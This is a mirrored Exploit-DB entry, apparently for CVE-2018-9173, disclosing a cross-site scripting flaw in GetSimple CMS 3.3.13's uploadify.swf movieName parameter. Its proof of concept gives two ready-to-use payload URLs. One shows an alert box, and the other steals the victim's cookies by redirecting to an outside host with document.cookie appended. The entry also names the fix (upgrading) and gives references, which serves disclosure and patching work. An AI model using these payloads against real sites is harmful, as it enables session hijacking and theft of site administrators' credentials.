GetSimple CMS 3.3.13 – Cross-Site Scripting - 体验盒子

作者： Sureshbabu Narvaneni

日期： 2018-04-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/44408/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

#######################################

# Exploit Title: GetSimple CMS 3.3.13 - Cross Site Scripting Vulnerability

# Google Dork: N/A

# Date: 03-04-2018

#######################################

# Exploit Author: Sureshbabu Narvaneni#

#######################################

# Author Blog : http://nullnews.in

# Vendor Homepage: http://get-simple.info/

# Software Link: http://get-simple.info/download/

# Affected Version: 3.3.13

# Category: WebApps

# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686

# CVE : CVE-2018-9173

#

# 1. Vendor Description:

#

# GetSimple is an XML based, stand-alone, fully independent and lite

Content Management System. To go along with its

# best-in-class user interface, we have loaded it with features that every

website needs, but with nothing it

# doesn't. GetSimple is truly the simplest way to manage a small-business

website.

#

# 2. Technical Description:

#

# Cross-site scripting (XSS) vulnerability in

admin/template/js/uploadify/uploadify.swf in GetSimple CMS 3.3.13

# allows remote attackers to inject arbitrary web script or HTML, as

demonstrated by the movieName parameter.

#

# 3. Proof Of Concept:

#

#Simple alert.

#

#http://

[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(

#e){alert("MrR3boot")}//

#

#Grab the cookies

#

#http://

[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(

#e){window.location="https://mrreboot.here?"+document.cookie}//

#

# 4. Solution:

#

# Upgrade to latest release.

# http://get-simple.info/download/

#

# 5. Reference:

# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9173

# https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1266

#####################################